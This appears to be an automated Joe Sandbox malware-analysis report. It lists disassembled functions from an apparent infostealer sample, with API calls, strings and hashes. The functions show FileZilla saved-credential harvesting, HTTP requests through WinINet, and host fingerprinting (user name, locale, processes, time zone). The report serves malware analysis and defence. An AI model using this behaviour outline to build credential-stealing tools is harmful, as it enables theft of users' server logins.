Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: d63e3469a0e183ca0753c7bfd8a85bce8ab50c5d31924b686071049c7a4bfb12
Instruction ID: b8836e99889b0f3dbf12104240b0e7fb1c6907cb60b78f556c5f3eada528c545
Opcode Fuzzy Hash: d63e3469a0e183ca0753c7bfd8a85bce8ab50c5d31924b686071049c7a4bfb12
Instruction Fuzzy Hash: 13A14F32940219AFCF40BBB2ED4A9DE7B79BF04700F404451F701BB126EBB96E05AB91

Function 00FF80C5 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00FF8106
GetProcAddress.KERNEL32 ref: 00FF811D
GetProcAddress.KERNEL32 ref: 00FF8134
GetProcAddress.KERNEL32 ref: 00FF814B
GetProcAddress.KERNEL32 ref: 00FF8162
GetProcAddress.KERNEL32 ref: 00FF8179
GetProcAddress.KERNEL32 ref: 00FF8190
GetProcAddress.KERNEL32 ref: 00FF81A7
GetProcAddress.KERNEL32 ref: 00FF81BE
GetProcAddress.KERNEL32 ref: 00FF81D5
GetProcAddress.KERNEL32 ref: 00FF81EC
GetProcAddress.KERNEL32 ref: 00FF8203
GetProcAddress.KERNEL32 ref: 00FF821A
GetProcAddress.KERNEL32 ref: 00FF8231
GetProcAddress.KERNEL32 ref: 00FF8248
GetProcAddress.KERNEL32 ref: 00FF825F
GetProcAddress.KERNEL32 ref: 00FF8276
GetProcAddress.KERNEL32 ref: 00FF828D
GetProcAddress.KERNEL32 ref: 00FF82A4
GetProcAddress.KERNEL32 ref: 00FF82BB
LoadLibraryA.KERNEL32(?,00FF7F44), ref: 00FF82CC
LoadLibraryA.KERNEL32(?,00FF7F44), ref: 00FF82DD
LoadLibraryA.KERNEL32(?,00FF7F44), ref: 00FF82EE
LoadLibraryA.KERNEL32(?,00FF7F44), ref: 00FF82FF
LoadLibraryA.KERNEL32(?,00FF7F44), ref: 00FF8310
GetProcAddress.KERNEL32(76850000,00FF7F44), ref: 00FF832C
GetProcAddress.KERNEL32(77040000,00FF7F44), ref: 00FF8347
GetProcAddress.KERNEL32 ref: 00FF835E
GetProcAddress.KERNEL32(75A10000,00FF7F44), ref: 00FF8379
GetProcAddress.KERNEL32(75690000,00FF7F44), ref: 00FF8394
GetProcAddress.KERNEL32(776F0000,00FF7F44), ref: 00FF83AF
GetProcAddress.KERNEL32 ref: 00FF83C6

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 7b5ac824de335339d3cd64176e49ced1311683260defe9ca69f1ee0479914b24
Instruction ID: 89523ef4004597e9b2390554cef00eed6348a8b226c812aa4e40c220a1117a6b
Opcode Fuzzy Hash: 7b5ac824de335339d3cd64176e49ced1311683260defe9ca69f1ee0479914b24
Instruction Fuzzy Hash: 02710D75401616EFDBB25F64FA0D8663BB3F72C355384C526EB858262CE7724850EF41

Function 00FE6955 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AD9
Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4ADF
Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AE5
Part of subcall function 00FE4AA7: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00FE4AF7
Part of subcall function 00FE4AA7: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00FE4AFF

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FE69B7
StrCmpCA.SHLWAPI(?), ref: 00FE69D1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FE6A00
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00FE6A3F
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00FE6A6F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FE6A7A
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00FE6A9E
InternetReadFile.WININET(?,?,000007CF,?), ref: 00FE6B32
InternetCloseHandle.WININET(?), ref: 00FE6B42
InternetCloseHandle.WININET(?), ref: 00FE6B4E
InternetCloseHandle.WININET(?), ref: 00FE6B5A

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Strings

ERROR, xrefs: 00FE6AA8
GET, xrefs: 00FE6A34
ERROR, xrefs: 00FE6B9D

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET
API String ID: 3863758870-2509457195
Opcode ID: 0135211b612a63f186019c726389f99091979eb0aa7fe3f859ab1231a67949ac
Instruction ID: 117be23bca9defa0c9a2d104379233709f0bf3c0e42bff48bb91311e8bbb53e6
Opcode Fuzzy Hash: 0135211b612a63f186019c726389f99091979eb0aa7fe3f859ab1231a67949ac
Instruction Fuzzy Hash: A7519D729001ADAFDF20AF61DC85AEEB7B9FB04340F0081E6F648E6151DE755E85AF80

Function 00FF0FFE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

GetKeyboardLayoutList.USER32(00000000,00000000,010157B7,?,?), ref: 00FF102F
LocalAlloc.KERNEL32(00000040,00000000), ref: 00FF103D
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00FF104B
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00FF107A

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

LocalFree.KERNEL32(00000000), ref: 00FF1122

Strings

/ , xrefs: 00FF1096

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 5ffe0c537f657af20cadad82735a2b4fd2945de330a9864285636e8311a83b92
Instruction ID: d5f5203750719219fb684b565180b0f24b13e9db0dba608c8583f77dab63605c
Opcode Fuzzy Hash: 5ffe0c537f657af20cadad82735a2b4fd2945de330a9864285636e8311a83b92
Instruction Fuzzy Hash: 08310B75D0022C9FDB20AB65DC8DAADB3B8BF04300F5141E5F619A7162CB786E85DF90

Function 00FF197A Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00FF1981
CoCreateInstance.OLE32(010121C8,00000000,00000001,0101A004,?,00000018,00FF1B24,?), ref: 00FF19A4
SysAllocString.OLEAUT32(?), ref: 00FF19B1
_wtoi64.MSVCRT ref: 00FF19E4
SysFreeString.OLEAUT32(?), ref: 00FF19FD
SysFreeString.OLEAUT32(00000000), ref: 00FF1A04

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: ff7f897dec02997b174796e91f0dad5b92ffe5287fee05025542f4360c955c07
Instruction ID: b6fda22dfa5d2c34e8f4c3b168ffb582fcd2c4ca6c79859fba623fdc32c4667e
Opcode Fuzzy Hash: ff7f897dec02997b174796e91f0dad5b92ffe5287fee05025542f4360c955c07
Instruction Fuzzy Hash: AB115E71D0424BDFCB21DFA4C8889EEBBB5BF49310F144469F645E7290CB794941DB60

Function 00FF16C8 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,010157BE,?,?), ref: 00FF16F7
Process32First.KERNEL32(00000000,00000128), ref: 00FF1707
Process32Next.KERNEL32(00000000,00000128), ref: 00FF1765
CloseHandle.KERNEL32(00000000), ref: 00FF1770

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: fad868a1f0fff819f5228872e8beea28041735e1a1faefaf327759d42132d30f
Instruction ID: 8f43ad4c8886b6bc51b0b4a1045550479bba003a7d84df3e3738952d67b02bda
Opcode Fuzzy Hash: fad868a1f0fff819f5228872e8beea28041735e1a1faefaf327759d42132d30f
Instruction Fuzzy Hash: 30113076A0021C9BD721BB65EC85AFD73A9BF44310F404095FB09B7256DF78AE44AF90

Function 00FF0F51 Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00FF0F6C
HeapAlloc.KERNEL32(00000000), ref: 00FF0F73
GetTimeZoneInformation.KERNEL32(?), ref: 00FF0F82
wsprintfA.USER32 ref: 00FF0FA0

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 3e5c77eec5e209b18a80dc32c9e65d31b2c7b78482e0d1dad4e5410e5d6185cf
Instruction ID: d8c2c93ad33962a7f43d015b30d0fd7be9d56a3610f3b2b0bad6855abd99ca0e
Opcode Fuzzy Hash: 3e5c77eec5e209b18a80dc32c9e65d31b2c7b78482e0d1dad4e5410e5d6185cf
Instruction Fuzzy Hash: 48F0B471A00318AFD720DBB4BC0DB6E37A9AF45325F540259F615D61C4DB74AE048B85

Function 00FF0E76 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FE13A9), ref: 00FF0E82
HeapAlloc.KERNEL32(00000000,?,?,?,00FE13A9), ref: 00FF0E89
GetUserNameA.ADVAPI32(00000000,00FE13A9), ref: 00FF0E9D

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: a1430d2b62ca592493e192d88ec09e009f416056d4e3985f17bde723f6443813
Instruction ID: 15e1cb920856834c795e18eaa45651311fc648a7eacf1620d1fafad7a444308a
Opcode Fuzzy Hash: a1430d2b62ca592493e192d88ec09e009f416056d4e3985f17bde723f6443813
Instruction Fuzzy Hash: 57D017B6200205BBD7219B95D80DE8A7AECEB84B25F004055BA86D2284DAF999489B20

Function 00FF11DD Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00FF11F7
wsprintfA.USER32 ref: 00FF120F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
